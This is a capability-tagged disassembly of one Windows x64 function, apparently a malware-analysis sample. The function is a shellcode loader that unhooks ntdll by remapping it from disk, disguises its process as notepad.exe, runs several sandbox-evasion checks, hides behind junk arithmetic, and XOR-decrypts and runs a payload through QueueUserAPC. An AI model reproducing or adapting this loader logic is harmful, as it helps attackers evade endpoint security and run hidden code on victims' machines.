Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x860], xmm6
mov dword [rbp + 0x8a0], ecx
mov qword [rbp + 0x8a8], rdx
call fcn.1400029e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
mov dword [rbp + 0x7d4], 0
mov ecx, 0x5900
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0x5900
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov ecx, 0x5900
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x854], 0
jmp 0x14000161a
mov dword [rbp + 0x850], 0
jmp 0x140001606
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x854]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x7c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x850]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x854]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x7c0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x850]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x58
jle 0x140001555
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x3f
jle 0x140001546
mov dword [rbp + 0x854], 0
jmp 0x1400016f1
mov dword [rbp + 0x850], 0
jmp 0x1400016dd
mov eax, dword [rbp + 0x854]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mov eax, dword [rbp + 0x850]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x854]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x850]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.1400039d0
mov eax, dword [rbp + 0x854]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x7b8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x850]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x58
jle 0x140001645
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x3f
jle 0x140001636
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x858], 0
jne 0x140001765
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001c06
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7b0], rax
mov ecx, 0x1498
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov ecx, 0x1498
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x84c], 0
jmp 0x14000186c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x292
jle 0x1400017e2
mov dword [rbp + 0x84c], 0
jmp 0x1400018da
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x292
jle 0x140001888
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov qword [rbp + 0x778], rax
mov word [rbp + 0x84a], 0
jmp 0x140001bee
mov rax, qword [rbp + 0x778]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x778]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bdd
mov dword [rbp + 0x5d8], 0
mov ecx, 0xed8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x844], 0
jmp 0x140001aa3
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x768]
add rax, rdx
movsd xmm1, qword [0x140006660]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x1da
jle 0x140001a55
mov dword [rbp + 0x844], 0
jmp 0x140001b0a
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x768]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x768]
add rax, rdx
movq xmm1, qword [0x140006670]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x1da
jle 0x140001abb
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5d8]
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84a]
add eax, 1
mov word [rbp + 0x84a], ax
mov rax, qword [rbp + 0x778]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84a], ax
jb 0x1400019d4
mov qword [rbp + 0x838], 0
mov dword [rbp + 0x764], 0x1f6
mov dword [rbp + 0x840], 1
jmp 0x140001c3d
mov eax, dword [rbp + 0x840]
cdqe
add qword [rbp + 0x838], rax
add dword [rbp + 0x840], 1
mov eax, dword [rbp + 0x840]
cmp eax, dword [rbp + 0x764]
jle 0x140001c27
mov dword [rbp + 0x834], 0xffffffff
add dword [rbp + 0x834], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x165
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x758], rax
cmp dword [rbp + 0x834], 0x3c0
jle 0x140001c55
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x750]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x830], 0xffffffff
add dword [rbp + 0x830], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1a8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x740], rax
cmp dword [rbp + 0x830], 0x67
jle 0x140001d31
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x738], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x730]
mov r9d, 0x3000
mov r8d, 0x4a6
mov edx, 0
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002909
mov qword [rbp + 0x728], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x720]
mov r9d, 0x3000
mov r8d, 0x392
mov edx, 0
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002909
mov ecx, 0x478
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x478
jne 0x140002909
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x71c], 0x322
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x71c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x2f0
jbe 0x140002909
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x47a
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002909
lea rax, str.cklxuqjbiqyt.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002909
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3b86a80
mov ecx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002909
mov rax, qword [rbp + 0x6e8]
mov edx, 0x3b86a80
mov rcx, rax
call fcn.140004a80
mov rax, qword [rbp + 0x6e8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
je 0x140002909
mov rax, qword [rbp + 0x6d8]
mov edx, 0x4c7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6d4], eax
mov dword [rbp + 0x6d0], 0x2c1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6bc], eax
mov eax, dword [rbp + 0x6d0]
mov r8, qword [rbp + 0x6c8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c0]
call rax
mov dword [rbp + 0x6b8], eax
mov eax, dword [rbp + 0x6b8]
sub eax, dword [rbp + 0x6bc]
cmp eax, 0x28f
jbe 0x140002909
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov ecx, 0
call rax
mov dword [rbp + 0x6ac], eax
cmp dword [rbp + 0x6ac], 0xffffffff
je 0x140002909
lea rax, [rbp + 0xb0]
lea rdx, [0x140006138]
mov ecx, 0xa3
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov ecx, 0x364
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x364
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x364
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x364
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x828], 0xd8
mov dword [rbp + 0x82c], 0
jmp 0x1400023b8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x828], 1
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0xd8
jle 0x1400022ac
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x6a0]
mov r8d, 0
mov edx, 0x51c
mov ecx, 0x40000
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov r9, qword [rbp + 0x678]
mov r8d, 0x51c
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x668]
mov r9, qword [rbp + 0x660]
mov r8d, 0x51c
mov rcx, rax
call r9
mov qword [rbp + 0x818], 0
mov dword [rbp + 0x824], 0x397
jmp 0x1400024da
mov eax, dword [rbp + 0x824]
cdqe
add qword [rbp + 0x818], rax
sub dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0
jg 0x1400024c4
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x810], 0
mov dword [rbp + 0x80c], 0
movabs rax, 0x8b50ed511c0df320
movabs rdx, 0xe8dd55e30866746f
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x23f85fdf9f92e42d
movabs rdx, 0x6f9d4f5df8c3d215
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x439297f7af80a5
mov qword [rbp - 0x20], rax
movabs rax, 0xcb116a230c1e1b3c
movabs rdx, 0x976b72f13ff29e9a
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xabc42a0b51d14592
movabs rdx, 0x1be7a2a5452cbb9f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x918abbefaf5d5778
movabs rdx, 0x54318ea962e4e96e
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xc75e79c117686560
movabs rdx, 0x341eeee871db3714
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x64a8c1e4bfd49cdd
movabs rdx, 0xa9bec66706fd85a4
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
mov dword [rbp + 0x9f], 0xd471a9
jmp 0x1400027f8
mov eax, dword [rbp + 0x814]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x810]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov ecx, 0x358
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x800], 0
jmp 0x1400026b5
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x808], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0xd5
jle 0x140002647
mov dword [rbp + 0x800], 0
jmp 0x14000273d
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x804]
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x634]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x140006680]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dc0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x804], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0xd5
jle 0x1400026cd
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x804]
movss xmm1, dword [0x140006688]
divss xmm0, xmm1
movss dword [rbp + 0x63c], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x63c]
movq rax, xmm4
movq xmm0, rax
call fcn.1400039d0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x638], xmm0
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x810], 0x26
jne 0x1400027b4
mov dword [rbp + 0x810], 0
jmp 0x1400027f1
mov qword [rbp + 0x7f0], 0
mov dword [rbp + 0x7fc], 0x2fd
jmp 0x1400027e1
mov eax, dword [rbp + 0x7fc]
cdqe
add qword [rbp + 0x7f0], rax
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0
jg 0x1400027cb
add dword [rbp + 0x810], 1
add dword [rbp + 0x814], 1
mov eax, dword [rbp + 0x814]
cmp eax, 0x51
jbe 0x1400025ee
mov dword [rbp + 0x814], 0
jmp 0x140002874
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x80c]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x80c], 0x51
jne 0x140002866
mov dword [rbp + 0x80c], 0
jmp 0x14000286d
add dword [rbp + 0x80c], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x51b
jle 0x140002813
mov rax, qword [rbp + 0x668]
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x650]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x648]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
ret